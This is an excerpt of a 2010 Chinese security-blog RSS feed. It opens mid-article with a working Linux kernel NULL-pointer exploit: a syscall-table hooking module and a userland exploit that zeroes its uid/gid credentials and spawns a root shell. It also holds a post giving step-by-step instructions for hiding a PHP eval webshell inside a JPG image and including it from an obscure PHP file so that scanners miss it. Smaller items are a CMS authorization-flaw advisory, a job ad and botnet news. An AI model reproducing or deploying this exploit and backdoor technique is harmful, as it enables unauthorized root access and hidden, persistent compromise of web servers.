char *p = NULL;&lt;/p&gt;
&lt;p&gt;buff = (char *)kmalloc(len + 1, GFP_KERNEL);&lt;br /&gt;
if (!buff) {&lt;br /&gt;
printk(&amp;#8220;kmalloc failed.\n&amp;#8221;);&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;if (copy_from_user(buff, buf, len)) {&lt;br /&gt;
printk(&amp;#8220;copy data from user failed.\n&amp;#8221;);&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;br /&gt;
buff[len + 1] = &amp;#8216;\0&amp;#8242;;&lt;br /&gt;
printk(&amp;#8220;%d: %s\n&amp;#8221;, strlen(buff), buff);&lt;/p&gt;
&lt;p&gt;printk(&amp;#8220;Kernel NULL pointer dereference test.\n&amp;#8221;);&lt;br /&gt;
test();&lt;/p&gt;
&lt;p&gt;return 1;&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;static int hook_init(void)&lt;br /&gt;
{&lt;br /&gt;
struct descriptor_idt *pIdt80;&lt;/p&gt;
&lt;p&gt;__asm__ volatile (&amp;#8220;sidt %0&amp;#8243;: &amp;#8220;=m&amp;#8221; (idt48));&lt;/p&gt;
&lt;p&gt;pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0&amp;#215;80);&lt;/p&gt;
&lt;p&gt;system_call_addr = (pIdt80-&amp;gt;offset_high &amp;lt;&amp;lt; 16 |  pIdt80-&amp;gt;offset_low);&lt;br /&gt;
if (!system_call_addr) {&lt;br /&gt;
DbgPrint(&amp;#8220;oh, shit! can&amp;#8217;t find system_call address.\n&amp;#8221;);&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;br /&gt;
DbgPrint(KERN_ALERT &amp;#8220;system_call addr : 0x%8x\n&amp;#8221;,system_call_addr);&lt;/p&gt;
&lt;p&gt;sys_call_table_addr = get_sct_addr();&lt;br /&gt;
if (!sys_call_table_addr) {&lt;br /&gt;
DbgPrint(&amp;#8220;oh, shit! can&amp;#8217;t find sys_call_table address.\n&amp;#8221;);&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;br /&gt;
DbgPrint(KERN_ALERT &amp;#8220;sys_call_table addr :  0x%8x\n&amp;#8221;,sys_call_table_addr);&lt;/p&gt;
&lt;p&gt;sys_call_table = (void **)sys_call_table_addr;&lt;/p&gt;
&lt;p&gt;lock_kernel();&lt;br /&gt;
CLEAR_CR0&lt;br /&gt;
sys_call_table[59] = new_kernel_null_pointer_test;&lt;br /&gt;
SET_CR0&lt;br /&gt;
unlock_kernel();&lt;/p&gt;
&lt;p&gt;printk(&amp;#8220;install hook ok.\n&amp;#8221;);&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;static void hook_exit(void)&lt;br /&gt;
{&lt;br /&gt;
lock_kernel();&lt;br /&gt;
CLEAR_CR0&lt;/p&gt;
&lt;p&gt;SET_CR0&lt;br /&gt;
unlock_kernel();&lt;/p&gt;
&lt;p&gt;DbgPrint(&amp;#8220;uninstall hook ok.\n&amp;#8221;);&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;module_init(hook_init);&lt;br /&gt;
module_exit(hook_exit);&lt;/p&gt;
&lt;p&gt;MODULE_LICENSE(&amp;#8220;GPL&amp;#8221;);&lt;br /&gt;
MODULE_AUTHOR(&amp;#8220;wzt&amp;#8221;);&lt;/p&gt;
&lt;p&gt;7-2. kernel null pointer攻击模板。&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/user.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/wait.h&amp;gt;&lt;br /&gt;
#include &amp;lt;inttypes.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/reg.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/mman.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/personality.h&amp;gt;&lt;br /&gt;
#include &amp;#8220;syscalls.h&amp;#8221;&lt;/p&gt;
&lt;p&gt;static unsigned int uid, gid;&lt;/p&gt;
&lt;p&gt;#define USER_CS 0&amp;#215;73&lt;br /&gt;
#define USER_SS 0&amp;#215;7b&lt;br /&gt;
#define USER_FL 0&amp;#215;246&lt;br /&gt;
#define STACK(x) (x + sizeof(x) &amp;#8211; 40)&lt;/p&gt;
&lt;p&gt;void exit_code();&lt;br /&gt;
char exit_stack[1024 * 1024];&lt;/p&gt;
&lt;p&gt;int (*kernel_printk)(const char *fmt, &amp;#8230;);&lt;/p&gt;
&lt;p&gt;#define __NR_new_kernel_null_pointer_test       59&lt;/p&gt;
&lt;p&gt;static inline my_syscall2(long, new_kernel_null_pointer_test, char *,  buff, int, len);&lt;br /&gt;
int errno;&lt;/p&gt;
&lt;p&gt;static inline __attribute__((always_inline)) void *get_current()&lt;br /&gt;
{&lt;br /&gt;
unsigned long curr;&lt;br /&gt;
__asm__ __volatile__ (&lt;br /&gt;
&amp;#8220;movl %%esp, %%eax ;&amp;#8221;&lt;br /&gt;
&amp;#8220;andl %1, %%eax ;&amp;#8221;&lt;br /&gt;
&amp;#8220;movl (%%eax), %0&amp;#8243;&lt;br /&gt;
: &amp;#8220;=r&amp;#8221; (curr)&lt;br /&gt;
: &amp;#8220;i&amp;#8221; (~8191)&lt;br /&gt;
);&lt;br /&gt;
return (void *) curr;&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;static inline __attribute__((always_inline)) void exit_kernel()&lt;br /&gt;
{&lt;br /&gt;
__asm__ __volatile__ (&lt;br /&gt;
&amp;#8220;movl %0, 0&amp;#215;10(%%esp) ;&amp;#8221;&lt;br /&gt;
&amp;#8220;movl %1, 0&amp;#215;0c(%%esp) ;&amp;#8221;&lt;br /&gt;
&amp;#8220;movl %2, 0&amp;#215;08(%%esp) ;&amp;#8221;&lt;br /&gt;
&amp;#8220;movl %3, 0&amp;#215;04(%%esp) ;&amp;#8221;&lt;br /&gt;
&amp;#8220;movl %4, 0&amp;#215;00(%%esp) ;&amp;#8221;&lt;br /&gt;
&amp;#8220;iret&amp;#8221;&lt;br /&gt;
: : &amp;#8220;i&amp;#8221; (USER_SS), &amp;#8220;r&amp;#8221; (STACK(exit_stack)), &amp;#8220;i&amp;#8221; (USER_FL),&lt;br /&gt;
&amp;#8220;i&amp;#8221; (USER_CS), &amp;#8220;r&amp;#8221; (exit_code)&lt;br /&gt;
);&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;void kernel_code()&lt;br /&gt;
{&lt;br /&gt;
int i;&lt;br /&gt;
uint *p = get_current();&lt;/p&gt;
&lt;p&gt;for (i = 0; i &amp;lt; 1024-13; i++) {&lt;br /&gt;
if (p[0] == uid &amp;amp;&amp;amp; p[1] == uid &amp;amp;&amp;amp; p[2] == uid &amp;amp;&amp;amp;  p[3] == uid &amp;amp;&amp;amp; p[4] == gid &amp;amp;&amp;amp; p[5] == gid &amp;amp;&amp;amp;  p[6] == gid &amp;amp;&amp;amp; p[7] == gid) {&lt;br /&gt;
p[0] = p[1] = p[2] = p[3] = 0;&lt;br /&gt;
p[4] = p[5] = p[6] = p[7] = 0;&lt;br /&gt;
p = (uint *) ((char *)(p + &lt;img src='http://hackeye.com/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /&gt; + sizeof(void *));&lt;br /&gt;
p[0] = p[1] = p[2] = ~0;&lt;br /&gt;
break;&lt;br /&gt;
}&lt;br /&gt;
p++;&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;exit_kernel();&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;void exit_code()&lt;br /&gt;
{&lt;br /&gt;
if (getuid() != 0) {&lt;br /&gt;
fprintf(stderr, &amp;#8220;failed\n&amp;#8221;);&lt;br /&gt;
exit(-1);&lt;br /&gt;
}&lt;br /&gt;
printf(&amp;#8220;[+] We are root!\n&amp;#8221;);&lt;br /&gt;
execl(&amp;#8220;/bin/sh&amp;#8221;, &amp;#8220;sh&amp;#8221;, &amp;#8220;-i&amp;#8221;, NULL);&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;void test_code(void)&lt;br /&gt;
{&lt;br /&gt;
kernel_printk = 0xc0424ae3;&lt;/p&gt;
&lt;p&gt;kernel_printk(&amp;#8220;We are in kernel.\n&amp;#8221;);&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;int main(void) {&lt;br /&gt;
void *page;&lt;/p&gt;
&lt;p&gt;uid = getuid();&lt;br /&gt;
gid = getgid();&lt;/p&gt;
&lt;p&gt;setresuid(uid, uid, uid);&lt;br /&gt;
setresgid(gid, gid, gid);&lt;/p&gt;
&lt;p&gt;if ((personality(0xffffffff)) != PER_SVR4) {&lt;br /&gt;
if ((page = mmap(0&amp;#215;0, 0&amp;#215;1000, PROT_READ | PROT_WRITE, MAP_FIXED |  MAP_ANONYMOUS| MAP_PRIVATE, 0, 0)) == MAP_FAILED) {&lt;br /&gt;
perror(&amp;#8220;mmap&amp;#8221;);&lt;br /&gt;
return -1;&lt;br /&gt;
}&lt;br /&gt;
} else {&lt;br /&gt;
//if (mprotect(0&amp;#215;0, 0&amp;#215;1000, PROT_READ | PROT_WRITE | PROT_EXEC) &amp;lt; 0) {&lt;br /&gt;
if (mprotect(0&amp;#215;0, 0&amp;#215;1000, PROT_READ | PROT_WRITE ) &amp;lt; 0) {&lt;br /&gt;
perror(&amp;#8220;mprotect&amp;#8221;);&lt;br /&gt;
return -1;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
printf(&amp;#8220;[+] Mmap zero memory ok.\n&amp;#8221;);&lt;/p&gt;
&lt;p&gt;*(char *)0 = &amp;#8216;\x90&amp;#8242;;&lt;br /&gt;
*(char *)1 = &amp;#8216;\xe9&amp;#8242;;&lt;br /&gt;
*(unsigned long *)2 = (unsigned long)&amp;amp;kernel_code &amp;#8211; 6;&lt;/p&gt;
&lt;p&gt;new_kernel_null_pointer_test(&amp;#8220;abcd&amp;#8221;, 4);&lt;br /&gt;
}&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/395467887/HackEye_1/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467887/6269921/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/HackEye_1/395467887/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/HackEye_1/395467887/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://hackeye.com/post/6582.html/feed</wfw:commentRss><slash:comments>0</slash:comments><description>目录：
1、引言
2、NULL Pointer是如何引发OOPS的
3、如何Exploit
4、攻击实验
5、NULL Pointer与Selinux的关系
6、如何防御NULL Pointer漏洞
7、附录
Author: wzt
Home: http://hi.baidu.com/wzt85
date: 2010/06/13
Version: 0.3
1、引言
在最近一系列的Linux kernel本地溢出漏洞中， 大部分是由于内核引用一个空指针而引发的， 看NULL Pointers的一个示例：
当内核代码引用一个空指针的时候， 内核打印如下OOPS信息， 并死机：
Kernel NULL pointer dereference test.
BUG: unable to...&lt;img src=&quot;http://www1.feedsky.com/t1/395467887/HackEye_1/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467887/6269921/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/HackEye_1/395467887/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/HackEye_1/395467887/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</description><category>技术文档</category><category>Linux</category><category>Exploit</category><pubDate>Sun, 13 Jun 2010 17:47:17 +0800</pubDate><author>Neeao</author><comments>http://hackeye.com/post/6582.html#comments</comments><guid isPermaLink="false">http://hackeye.com/?p=6582</guid><dc:creator>Neeao</dc:creator><fs:srclink>http://hackeye.com/post/6582.html</fs:srclink><fs:srcfeed>http://hackeye.com/feed</fs:srcfeed><fs:itemid>feedsky/HackEye_1/~8166199/395467887/6269921</fs:itemid></item><item><title>风讯网站管理系统API_Response.asp页面存在越权漏洞</title><link>http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467891/6269921/1/item.html</link><content:encoded>&lt;p&gt;这个漏洞在2006年的时候都发布漏洞警告了，现在黑板说公开了，^_^。&lt;span id=&quot;more-6579&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;系统编号:&lt;/strong&gt;&lt;br /&gt;
&lt;a title=&quot;风讯网站管理系统API_Response.asp页面存在越权漏洞&quot; href=&quot;http://wavdb.com/vuln/1662&quot;&gt;WAVDB-01650&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;影响版本:&lt;/strong&gt;&lt;br /&gt;
FooSun &amp;gt; 5.0&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;程序介绍:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;FoosunCMS是一款具有强大的功能的基于ASP+ACCESS/MSSQL构架的内容管 理软件。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;漏洞分析:&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt;在文件\API\  API_Response.asp中：&lt;/div&gt;
&lt;div&gt;If Request.QueryString&amp;lt;&amp;gt;&amp;#8221;&quot; Then //第16行&lt;/div&gt;
&lt;div&gt;SaveUserCookie()&lt;/div&gt;
&lt;div&gt;Else&lt;/div&gt;
&lt;div&gt;Set XmlDoc = Server.CreateObject(&amp;#8220;msxml2.FreeThreadedDOMDocument&amp;#8221;  &amp;amp; MsxmlVersion)&lt;/div&gt;
&lt;div&gt;XmlDoc.ASYNC = False&lt;/div&gt;
&lt;div&gt;If Not XmlDoc.LOAD(Request) Then&lt;/div&gt;
&lt;div&gt;Status = 1&lt;/div&gt;
&lt;div&gt;Messenge = &amp;#8220;数据非法，操作中止！&amp;#8221;&lt;/div&gt;
&lt;div&gt;appid = &amp;#8220;未知&amp;#8221;&lt;/div&gt;
&lt;div&gt;Else&lt;/div&gt;
&lt;div&gt;If Not (XmlDoc.documentElement.selectSingleNode(&amp;#8220;userip&amp;#8221;) is  nothing) Then&lt;/div&gt;
&lt;div&gt;UserTrueIP = XmlDoc.documentElement.selectSingleNode(&amp;#8220;userip&amp;#8221;).text&lt;/div&gt;
&lt;div&gt;End If&lt;/div&gt;
&lt;div&gt;If CheckPost() Then&lt;/div&gt;
&lt;div&gt;Select Case Act&lt;/div&gt;
&lt;div&gt;Case &amp;#8220;checkname&amp;#8221;&lt;/div&gt;
&lt;div&gt;整合文件中没有判断程序是否开启，恶意用户可以向该文件提交数据来进行修改删除用户的操作。&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;解决 方案:&lt;/strong&gt;&lt;br /&gt;
厂商补丁：&lt;br /&gt;
FooSun&lt;br /&gt;
&amp;#8212;&amp;#8212;-&lt;br /&gt;
目前厂商还没有提供补丁或者升级程序，我们建议使用此软 件的用户随时关注厂商的主页以获取最新版本：&lt;br /&gt;
&lt;a href=&quot;http://www.foosun.net/&quot; target=&quot;_blank&quot;&gt;http://www.foosun.net/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;信息来源:&lt;/strong&gt;&lt;br /&gt;
&amp;lt;* 来源: Bug.Center.Team&lt;br /&gt;
链接: &lt;a href=&quot;http://wavdb.com/vuln/1662&quot; target=&quot;_blank&quot;&gt;http://wavdb.com/vuln/1662&lt;/a&gt;&lt;br /&gt;
*&amp;gt;&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/395467891/HackEye_1/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467891/6269921/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/HackEye_1/395467891/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/HackEye_1/395467891/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://hackeye.com/post/6579.html/feed</wfw:commentRss><slash:comments>0</slash:comments><description>这个漏洞在2006年的时候都发布漏洞警告了，现在黑板说公开了，^_^。
系统编号:
WAVDB-01650
影响版本:
FooSun &amp;#62; 5.0
程序介绍:
FoosunCMS是一款具有强大的功能的基于ASP+ACCESS/MSSQL构架的内容管 理软件。
漏洞分析:
在文件\API\  API_Response.asp中：
If Request.QueryString&amp;#60;&amp;#62;&amp;#8221;&quot; Then //第16行
SaveUserCookie()
Else
Set XmlDoc = Server.CreateObject(&amp;#8220;msxml2.FreeThreadedDOMDocument&amp;#8221;  &amp;#38; MsxmlVersion)
XmlDoc.ASYNC = False
If Not XmlDoc.LOAD(Request) Then
Status...&lt;img src=&quot;http://www1.feedsky.com/t1/395467891/HackEye_1/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467891/6269921/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/HackEye_1/395467891/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/HackEye_1/395467891/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</description><category>B.C.T相关</category><category>API</category><category>FooSun</category><category>安全防护</category><pubDate>Sun, 13 Jun 2010 09:20:11 +0800</pubDate><author>Neeao</author><comments>http://hackeye.com/post/6579.html#comments</comments><guid isPermaLink="false">http://hackeye.com/?p=6579</guid><dc:creator>Neeao</dc:creator><fs:srclink>http://hackeye.com/post/6579.html</fs:srclink><fs:srcfeed>http://hackeye.com/feed</fs:srcfeed><fs:itemid>feedsky/HackEye_1/~8166199/395467891/6269921</fs:itemid></item><item><title>新浪招聘安全工程师</title><link>http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467899/6269921/1/item.html</link><content:encoded>&lt;p&gt;工作地点：北京&lt;br /&gt;
招聘人数：1&lt;br /&gt;
联系邮箱：guizaicn@gmail.com&lt;br /&gt;
要求：熟悉钓鱼攻击和防范、XSS防护，熟悉常见的WEB漏洞，喜欢网络安全，最好有开发经验。&lt;br /&gt;
待遇面议&lt;/p&gt;
&lt;p&gt;有兴趣的同学请联系。&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/395467899/HackEye_1/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467899/6269921/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/HackEye_1/395467899/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/HackEye_1/395467899/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://hackeye.com/post/6576.html/feed</wfw:commentRss><slash:comments>2</slash:comments><description>工作地点：北京
招聘人数：1
联系邮箱：guizaicn@gmail.com
要求：熟悉钓鱼攻击和防范、XSS防护，熟悉常见的WEB漏洞，喜欢网络安全，最好有开发经验。
待遇面议
有兴趣的同学请联系。&lt;img src=&quot;http://www1.feedsky.com/t1/395467899/HackEye_1/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467899/6269921/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/HackEye_1/395467899/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/HackEye_1/395467899/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</description><category>Sina</category><category>job</category><category>资源共享</category><pubDate>Fri, 11 Jun 2010 17:18:42 +0800</pubDate><author>Neeao</author><comments>http://hackeye.com/post/6576.html#comments</comments><guid isPermaLink="false">http://hackeye.com/?p=6576</guid><dc:creator>Neeao</dc:creator><fs:srclink>http://hackeye.com/post/6576.html</fs:srclink><fs:srcfeed>http://hackeye.com/feed</fs:srcfeed><fs:itemid>feedsky/HackEye_1/~8166199/395467899/6269921</fs:itemid></item><item><title>寻找绝对隐蔽的后门的办法 分享</title><link>http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467912/6269921/1/item.html</link><content:encoded>&lt;p&gt;nginx前几天nginx和IIS7都爆解析漏洞，搞了几个shell都 丢了，于是想寻找一个超级隐蔽的后门方法。无意中发现include这个函数可以把任意文件解析为php执行.网上去 搜索include函数漏洞,得到的结果很少.绝大多数是关于文件包含漏洞，比如用变量作为包含对像，这只是针对程序，而非针对php下 include()这个函数.关于说这个函数把任意文件解析为php的文章我还没见过,所以暂且称为原创.有找到的联系我一下.呵呵，要 是真没有..这漏洞就是我发现的了，嘎嘎.&lt;br /&gt;
&lt;span id=&quot;more-6572&quot;&gt;&lt;/span&gt;&lt;br /&gt;
include()函数这个漏洞一直存在,而且一直没有补丁，因为利用的人很少.具体漏洞内容 就是它可以用来把任意文件解析为php.比如include(&amp;#8220;linuxso.txt&amp;#8221;)  include(&amp;#8220;linuxso.jpg&amp;#8221;);  之类的，全部当作php来执行.因为他是php函数库的问题，所以就跟web&lt;span style=&quot;text-decoration: underline;&quot;&gt;服务器&lt;/span&gt;和系统无 关了，理论上&lt;span style=&quot;text-decoration: underline;&quot;&gt;apache&lt;/span&gt;,IIS,nginx或其它web服务器，都是可以的。我只试了apache和nginx，测试 成功.测试方法比较简单，这里就不多说。直接来说这个漏洞有什么用，目前我是用来拿到web  shell之后制造超级隐蔽的web后门，其它作用大家自由发挥哈.实验开始.&lt;/p&gt;
&lt;p&gt;1，制作一张包含特殊代码的jpg图片. 因为市面上扫描网站木马的程序，都不扫描图片格式的文件,只搜索.php之类的危险后缀.当然.jpg当然是给管理员的感觉是没有 任何隐患滴.新建议一个文件 linuxso.txt  内容如下:&lt;/p&gt;
&lt;p&gt;&amp;lt;?fputs(fopen(&amp;#8220;linuxso.php&amp;#8221;,&amp;#8221;w&amp;#8221;),&amp;#8221;&amp;lt;?eval(\$_POST[linuxso]);?&amp;gt;&amp;#8221;)?&amp;gt;    //作用是在当前目录，打开一个linuxso.php 写入一句话&lt;br /&gt;
重命名为 linuxso.jpg&lt;/p&gt;
&lt;p&gt;2， 找个图片目录上传jpg.路径记下来.&lt;/p&gt;
&lt;p&gt;找一个深目录内又几乎用不到的php文件,比如class.archive_read.php,添 加一句话 include(&amp;#8220;../../xxx/linuxso.jpg&amp;#8221;);  //搞清楚相对路径哦.&lt;/p&gt;
&lt;p&gt;3,访问 http://www.xxx.com/class/class.archive_read.php,即在class.archive_read.php 同目录下生成一句话木马 linuxso.php 密码linuxso&lt;/p&gt;
&lt;p&gt;连接一句话.上传大马.玩完了之后，记得删掉小马.这样任意他找什 么扫网马的工具.. 也查不到咱的马.嘎嘎，除非&amp;#8230;看过这篇文章的管理员.&lt;/p&gt;
&lt;p&gt;如果上传假图片怕被发现的话，还 可以用 copy命令，拿一张正常的图片和linux.txt 合成到一起.完成之后，图片可以正常预览.&lt;/p&gt;
&lt;p&gt;命令如下   copy  1.jpg/b+1.txt/b 3.jpg/b   因为这样include函数包含之后，图片会正常显示，所以那句include一定要加到一个几乎用不到的php文件里.&lt;/p&gt;
&lt;p&gt;来源：http://laoxiege.blog.sohu.com/153960857.html&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/395467912/HackEye_1/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467912/6269921/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/HackEye_1/395467912/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/HackEye_1/395467912/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://hackeye.com/post/6572.html/feed</wfw:commentRss><slash:comments>5</slash:comments><description>nginx前几天nginx和IIS7都爆解析漏洞，搞了几个shell都 丢了，于是想寻找一个超级隐蔽的后门方法。无意中发现include这个函数可以把任意文件解析为php执行.网上去 搜索include函数漏洞,得到的结果很少.绝大多数是关于文件包含漏洞，比如用变量作为包含对像，这只是针对程序，而非针对php下 include()这个函数.关于说这个函数把任意文件解析为php的文章我还没见过,所以暂且称为原创.有找到的联系我一下.呵呵，要 是真没有..这漏洞就是我发现的了，嘎嘎.

include()函数这个漏洞一直存在,而且一直没有补丁，因为利用的人很少.具体漏洞内容 就是它可以用来把任意文件解析为php.比如include(&amp;#8220;linuxso.txt&amp;#8221;)  include(&amp;#8220;linuxso.jpg&amp;#8221;);  之类的，全部当作php来执行.因为他是php函数库的问题，所以就跟web服务器和系统无 关了，理论上apache,IIS,nginx或其它web服务器，都是可以的。我只试了apache和nginx，测试 成功.测试方法比较简单，这里就不多说。直接来说这个漏洞有什么用，目前我是用来拿到web  shell之后制造超级隐蔽的web后门，其它作用大家自由发挥哈.实验开始.
1，制作一张包含特殊代码的jpg图片. 因为市面上扫描网站木马的程序，都不扫描图片格式的文件,只搜索.php之类的危险后缀.当然.jpg当然是给管理员的感觉是没有 任何隐患滴.新建议一个文件 linuxso.txt  内容如下:
&amp;#60;?fputs(fopen(&amp;#8220;linuxso.php&amp;#8221;,&amp;#8221;w&amp;#8221;),&amp;#8221;&amp;#60;?eval(\$_POST[linuxso]);?&amp;#62;&amp;#8221;)?&amp;#62;    //作用是在当前目录，打开一个linuxso.php 写入一句话
重命名为...&lt;img src=&quot;http://www1.feedsky.com/t1/395467912/HackEye_1/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467912/6269921/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/HackEye_1/395467912/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/HackEye_1/395467912/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</description><category>技术文档</category><category>php</category><category>nginx</category><pubDate>Fri, 11 Jun 2010 11:25:27 +0800</pubDate><author>Neeao</author><comments>http://hackeye.com/post/6572.html#comments</comments><guid isPermaLink="false">http://hackeye.com/?p=6572</guid><dc:creator>Neeao</dc:creator><fs:srclink>http://hackeye.com/post/6572.html</fs:srclink><fs:srcfeed>http://hackeye.com/feed</fs:srcfeed><fs:itemid>feedsky/HackEye_1/~8166199/395467912/6269921</fs:itemid></item><item><title>攻击者利用Twitter进行僵尸网络指挥和控制</title><link>http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467920/6269921/1/item.html</link><content:encoded>&lt;p&gt;安全研究人员发现了一个自动化工具包，能使攻击者利用微博平台 Twitter作为其僵尸网络指挥和控制平台，从而建立一个僵尸网络。&lt;/p&gt;
&lt;p&gt;过去，攻击者已经使用Twitter向僵尸网络发布命令。Arbor网络公司的安全研究人员发现了一种僵尸网络，它利用Twitter作为指挥和控制服 务器。Twitter的安全团队已经关闭了许多具有可疑信息的账户，这些账户可能向僵尸电脑发出过命令。新的工具包，称为TwitterNET  Builder，将代码写作知识运用到指挥和控制服务中。&lt;span id=&quot;more-6568&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;BitDefender在新闻发布会上说，“为了创建自己的定制僵尸，攻击者只需启动SDK，输入一个Twitter用户名，就可作为一个指挥和控制中 心，修改所产生的僵尸的名字和图标，以配合其分配方法。”&lt;/p&gt;
